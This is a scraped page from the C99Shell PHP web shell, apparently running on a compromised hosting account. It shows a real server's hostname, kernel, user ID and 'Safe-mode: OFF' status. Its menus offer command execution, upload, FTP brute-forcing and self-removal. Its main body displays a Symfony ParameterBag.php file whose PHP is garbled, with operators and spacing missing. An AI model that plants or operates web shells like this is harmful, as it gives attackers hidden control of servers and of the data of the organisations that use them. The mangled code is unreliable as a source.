!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/DependencyInjection/ParameterBag/   drwxr-xr-x
Free 294.4 GB of 429.69 GB (68.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ParameterBag.php (8.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DependencyInjection\ParameterBag;

use 
Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException;
use 
Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException;
use 
Symfony\Component\DependencyInjection\Exception\RuntimeException;

/**
 * Holds parameters.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 *
 * @api
 */
class ParameterBag implements ParameterBagInterface
{
    protected 
$parameters = array();
    protected 
$resolved false;

    
/**
     * Constructor.
     *
     * @param array $parameters An array of parameters
     *
     * @api
     */
    
public function __construct(array $parameters = array())
    {
        
$this->add($parameters);
    }

    
/**
     * Clears all parameters.
     *
     * @api
     */
    
public function clear()
    {
        
$this->parameters = array();
    }

    
/**
     * Adds parameters to the service container parameters.
     *
     * @param array $parameters An array of parameters
     *
     * @api
     */
    
public function add(array $parameters)
    {
        foreach (
$parameters as $key => $value) {
            
$this->parameters[strtolower($key)] = $value;
        }
    }

    
/**
     * Gets the service container parameters.
     *
     * @return array An array of parameters
     *
     * @api
     */
    
public function all()
    {
        return 
$this->parameters;
    }

    
/**
     * Gets a service container parameter.
     *
     * @param string $name The parameter name
     *
     * @return mixed  The parameter value
     *
     * @throws ParameterNotFoundException if the parameter is not defined
     *
     * @api
     */
    
public function get($name)
    {
        
$name strtolower($name);

        if (!
array_key_exists($name$this->parameters)) {
            if (!
$name) {
                throw new 
ParameterNotFoundException($name);
            }

            
$alternatives = array();
            foreach (
array_keys($this->parameters) as $key) {
                
$lev levenshtein($name$key);
                if (
$lev <= strlen($name) / || false !== strpos($key$name)) {
                    
$alternatives[] = $key;
                }
            }

            throw new 
ParameterNotFoundException($namenullnullnull$alternatives);
        }

        return 
$this->parameters[$name];
    }

    
/**
     * Sets a service container parameter.
     *
     * @param string $name  The parameter name
     * @param mixed  $value The parameter value
     *
     * @api
     */
    
public function set($name$value)
    {
        
$this->parameters[strtolower($name)] = $value;
    }

    
/**
     * Returns true if a parameter name is defined.
     *
     * @param string $name The parameter name
     *
     * @return Boolean true if the parameter name is defined, false otherwise
     *
     * @api
     */
    
public function has($name)
    {
        return 
array_key_exists(strtolower($name), $this->parameters);
    }

    
/**
     * Removes a parameter.
     *
     * @param string $name The parameter name
     *
     * @api
     */
    
public function remove($name)
    {
        unset(
$this->parameters[strtolower($name)]);
    }

    
/**
     * Replaces parameter placeholders (%name%) by their values for all parameters.
     */
    
public function resolve()
    {
        if (
$this->resolved) {
            return;
        }

        
$parameters = array();
        foreach (
$this->parameters as $key => $value) {
            try {
                
$value $this->resolveValue($value);
                
$parameters[$key] = $this->unescapeValue($value);
            } catch (
ParameterNotFoundException $e) {
                
$e->setSourceKey($key);

                throw 
$e;
            }
        }

        
$this->parameters $parameters;
        
$this->resolved true;
    }

    
/**
     * Replaces parameter placeholders (%name%) by their values.
     *
     * @param mixed $value     A value
     * @param array $resolving An array of keys that are being resolved (used internally to detect circular references)
     *
     * @return mixed The resolved value
     *
     * @throws ParameterNotFoundException if a placeholder references a parameter that does not exist
     * @throws ParameterCircularReferenceException if a circular reference if detected
     * @throws RuntimeException when a given parameter has a type problem.
     */
    
public function resolveValue($value, array $resolving = array())
    {
        if (
is_array($value)) {
            
$args = array();
            foreach (
$value as $k => $v) {
                
$args[$this->resolveValue($k$resolving)] = $this->resolveValue($v$resolving);
            }

            return 
$args;
        }

        if (!
is_string($value)) {
            return 
$value;
        }

        return 
$this->resolveString($value$resolving);
    }

    
/**
     * Resolves parameters inside a string
     *
     * @param string $value     The string to resolve
     * @param array  $resolving An array of keys that are being resolved (used internally to detect circular references)
     *
     * @return string The resolved string
     *
     * @throws ParameterNotFoundException if a placeholder references a parameter that does not exist
     * @throws ParameterCircularReferenceException if a circular reference if detected
     * @throws RuntimeException when a given parameter has a type problem.
     */
    
public function resolveString($value, array $resolving = array())
    {
        
// we do this to deal with non string values (Boolean, integer, ...)
        // as the preg_replace_callback throw an exception when trying
        // a non-string in a parameter value
        
if (preg_match('/^%([^%\s]+)%$/'$value$match)) {
            
$key strtolower($match[1]);

            if (isset(
$resolving[$key])) {
                throw new 
ParameterCircularReferenceException(array_keys($resolving));
            }

            
$resolving[$key] = true;

            return 
$this->resolved $this->get($key) : $this->resolveValue($this->get($key), $resolving);
        }

        
$self $this;

        return 
preg_replace_callback('/%%|%([^%\s]+)%/', function ($match) use ($self$resolving$value) {
            
// skip %%
            
if (!isset($match[1])) {
                return 
'%%';
            }

            
$key strtolower($match[1]);
            if (isset(
$resolving[$key])) {
                throw new 
ParameterCircularReferenceException(array_keys($resolving));
            }

            
$resolved $self->get($key);

            if (!
is_string($resolved) && !is_numeric($resolved)) {
                throw new 
RuntimeException(sprintf('A string value must be composed of strings and/or numbers, but found parameter "%s" of type %s inside string value "%s".'$keygettype($resolved), $value));
            }

            
$resolved = (string) $resolved;
            
$resolving[$key] = true;

            return 
$self->isResolved() ? $resolved $self->resolveString($resolved$resolving);
        }, 
$value);
    }

    public function 
isResolved()
    {
        return 
$this->resolved;
    }

    
/**
     * {@inheritDoc}
     */
    
public function escapeValue($value)
    {
        if (
is_string($value)) {
            return 
str_replace('%''%%'$value);
        }

        if (
is_array($value)) {
            
$result = array();
            foreach (
$value as $k => $v) {
                
$result[$k] = $this->escapeValue($v);
            }

            return 
$result;
        }

        return 
$value;
    }

    public function 
unescapeValue($value)
    {
        if (
is_string($value)) {
            return 
str_replace('%%''%'$value);
        }

        if (
is_array($value)) {
            
$result = array();
            foreach (
$value as $k => $v) {
                
$result[$k] = $this->unescapeValue($v);
            }

            return 
$result;
        }

        return 
$value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0953 ]--